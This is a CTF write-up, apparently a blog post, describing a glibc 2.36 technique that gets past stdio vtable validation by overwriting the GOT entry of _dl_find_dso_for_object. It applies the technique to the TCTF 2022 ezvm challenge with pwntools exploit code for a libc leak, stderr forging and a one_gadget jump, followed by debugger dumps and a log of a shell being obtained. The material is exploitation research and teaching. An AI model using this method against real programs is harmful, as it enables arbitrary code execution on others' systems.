Code Execution by Faking IO_FILE->vtable in GLIBC 2.36 [0x1]

In the first part, I showed a new method to completely control the vtable of IO_FILE. In this chapter I would like to present a much more stable way to gain arbitrary code execution and use this way to solve a CTF challenge.

invalid vtable

In first chapter we focus on bypassing the checking in _IO_vtable_check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

When flag != &_IO_IO_vtable_check and rtld_active() != 0, it will finally invoke _dl_addr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

int
_dl_addr (const void *address, Dl_info *info,
struct link_map **mapp, const ElfW(Sym) **symbolp)
{
const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);
int result = 0;

/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

struct link_map *l = _dl_find_dso_for_object (addr);

if (l)
{
determine_info (addr, l, info, mapp, symbolp);
result = 1;
}

__rtld_lock_unlock_recursive (GL(dl_load_lock));

return result;
}

Notice that it will call _dl_find_dso_for_object(). From the assembly code we can find that the address of this function is in ld and it is dynamically resolved which means if we are able to override the .GOT table of it we can jump to anywhere we want! And yes, we don’t need to bruteforce ld’s address with this method.

TCTF 2022 ezvm

Here I will demonstrate how to use this arbitrary code execution method to solve this CTF challenge. I will focus on code execution part since there are plenty of writeups with different ways of heap grooming and libc leaking I will only briefly cover these parts.

1
2
3
4
p.sendlineafter(b'Welcome', b'aaa')
p.sendlineafter(b'code size:', b'100')
p.sendlineafter(b'memory count', tob(0x100))
p.sendlineafter(b'code:\n', p8(0x17))

with a simple heap grooming we can have a libc address at memory[0], then we leak the address bit by bit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
leak = 0
for i in range(0, 64):
code = read_mem(0, 0) # load memory[0] to register[0]
code += push(0) # push register[0]
code += read_imm(1, 1<<i) # load mask to register[0]
code += push(1) # push register[0]
code += stk_and # logical and stack[top] stack[top-1] and push the result
code += jmp(1) # jump to illegal if 1
code += p8(0xff)+p8(0x17) # 0xff(illegal) and exit 0x17
p.sendlineafter(b'code size:\n', tob(len(code)))
p.sendlineafter(b'memory count:', tob(0x100))
p.sendlineafter(b'code:', code)
recv_data = p.recvuntil(b'finish')
if b'what' in recv_data: # illegal instruction
leak |= (1<<i)
log.info("leak data: "+hex(leak))

Now we have libc address, so that we are able to calculate one gadget from it. Then using the OOB bug and allocate using mmap by setting a size that is big enough.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# allocate memory with mmap, and exploit the OOB bug
p.sendlineafter(b'code size:', b'500')
p.sendlineafter(b'memory count', tob(0x6000000000200000))

log.info('writing to stderr')
code = read_imm(0, libc.address+0xebcf8) # one_gadget
code += store_mem(0, 0x24340f*8) # offset of GOT
code += read_imm(0, 0x41414141) # vtable, any value not in vtable segment
code += store_mem(0, 0x121b768) # write to stderr->vtable
code += read_imm(0, 0x1122334455667788) # anything
for i in range(0, 0x15): # override fields in stderr
code += store_mem(0, 0x121b698+i*8)
code += read_imm(0, 0)
code += store_mem(0, 0x121b690) # stderr->flag
code += read_imm(0, 0xaabbccdd55667788) # stderr->write_ptr
code += store_mem(0, 0x121b6b8) # write to stderr->write_ptr

after that we can notice the vtable is already overrided by AAAA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  x/32xg &_IO_2_1_stderr_
0x7fd1d021a6a0 <_IO_2_1_stderr_>: 0x0000000000000000 0x1122334455667788
0x7fd1d021a6b0 <_IO_2_1_stderr_+16>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6c0 <_IO_2_1_stderr_+32>: 0x1122334455667788 0xaabbccdd55667788
0x7fd1d021a6d0 <_IO_2_1_stderr_+48>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6e0 <_IO_2_1_stderr_+64>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a6f0 <_IO_2_1_stderr_+80>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a700 <_IO_2_1_stderr_+96>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a710 <_IO_2_1_stderr_+112>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a720 <_IO_2_1_stderr_+128>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a730 <_IO_2_1_stderr_+144>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a740 <_IO_2_1_stderr_+160>: 0x1122334455667788 0x1122334455667788
0x7fd1d021a750 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7fd1d021a760 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7fd1d021a770 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x0000000041414141 <- any address here

and now the .GOT table of _dl_find_dso_for_object is our one gadget

1
0x7f3dbf819088 <_dl_find_dso_for_object@got.plt>:       0x00007f3dbf6ebcf8     0x00007f3dbf7b3430
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gef➤  x/16i 0x00007f3dbf6ebcf8
0x7f3dbf6ebcf8 <execvpe+1144>: lea rdi,[rip+0xec999] # 0x7f3dbf7d8698
0x7f3dbf6ebcff <execvpe+1151>: mov QWORD PTR [rbp-0x78],r9
0x7f3dbf6ebd03 <execvpe+1155>: call 0x7f3dbf6eb0f0 <execve>
0x7f3dbf6ebd08 <execvpe+1160>: mov rsp,QWORD PTR [rbp-0x78]
0x7f3dbf6ebd0c <execvpe+1164>: mov eax,DWORD PTR fs:[r14]
0x7f3dbf6ebd10 <execvpe+1168>: jmp 0x7f3dbf6ebb82 <execvpe+770>
0x7f3dbf6ebd15 <execvpe+1173>: nop DWORD PTR [rax]
0x7f3dbf6ebd18 <execvpe+1176>: mov BYTE PTR [rbp-0x61],0x1
0x7f3dbf6ebd1c <execvpe+1180>: jmp 0x7f3dbf6ebb9d <execvpe+797>
0x7f3dbf6ebd21 <execvpe+1185>: mov DWORD PTR fs:[rcx],0x7
0x7f3dbf6ebd28 <execvpe+1192>: mov rsp,r15
0x7f3dbf6ebd2b <execvpe+1195>: jmp 0x7f3dbf6eb8e4 <execvpe+100>
0x7f3dbf6ebd30 <execvpe+1200>: lea rdi,[r10+0x10]
0x7f3dbf6ebd34 <execvpe+1204>: lea rsi,[rbx+0x8]
0x7f3dbf6ebd38 <execvpe+1208>: mov rdx,r11
0x7f3dbf6ebd3b <execvpe+1211>: mov QWORD PTR [rbp-0x80],r9
gef➤

Then trigger IO operation by exiting the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
┌──(kali㉿bad)-[~/Desktop/ctf/0ctf/ezvm]
└─$ python3 pwnvm3.py
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/libc-2.35.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p': pid 35561
[*] leak data: 0x20
[*] leak data: 0x60
[*] leak data: 0xe0
[*] leak data: 0x4e0
[*] leak data: 0xce0
[*] leak data: 0x1ce0
[*] leak data: 0x9ce0
[*] leak data: 0x19ce0
[*] leak data: 0x819ce0
[*] leak data: 0x1819ce0
[*] leak data: 0x3819ce0
[*] leak data: 0x7819ce0
[*] leak data: 0xf819ce0
[*] leak data: 0x1f819ce0
[*] leak data: 0x3f819ce0
[*] leak data: 0xbf819ce0
[*] leak data: 0x1bf819ce0
[*] leak data: 0x5bf819ce0
[*] leak data: 0xdbf819ce0
[*] leak data: 0x1dbf819ce0
[*] leak data: 0x3dbf819ce0
[*] leak data: 0x13dbf819ce0
[*] leak data: 0x33dbf819ce0
[*] leak data: 0x73dbf819ce0
[*] leak data: 0xf3dbf819ce0
[*] leak data: 0x1f3dbf819ce0
[*] leak data: 0x3f3dbf819ce0
[*] leak data: 0x7f3dbf819ce0
[+] leak: 0x7f3dbf819ce0
[+] libcbase: 0x7f3dbf600000
[*] writing to stderr
[*] Switching to interactive mode

finish!
continue?
$ a
Please input your code size:
$ a
Please input your memory count:
$ a
Please input your code:
Wrong length!
$ echo pwn
pwn
$

Conclusion

With this method we can gain arbitrary code execution without constructing any complex structure but only two arbitrary writing and libc address leaking. One of the most obvious drawbacks(in my opinion) is that we almost can’t control any registers which are used to pass arguments, thus we can only jump to one gadget to get shell here.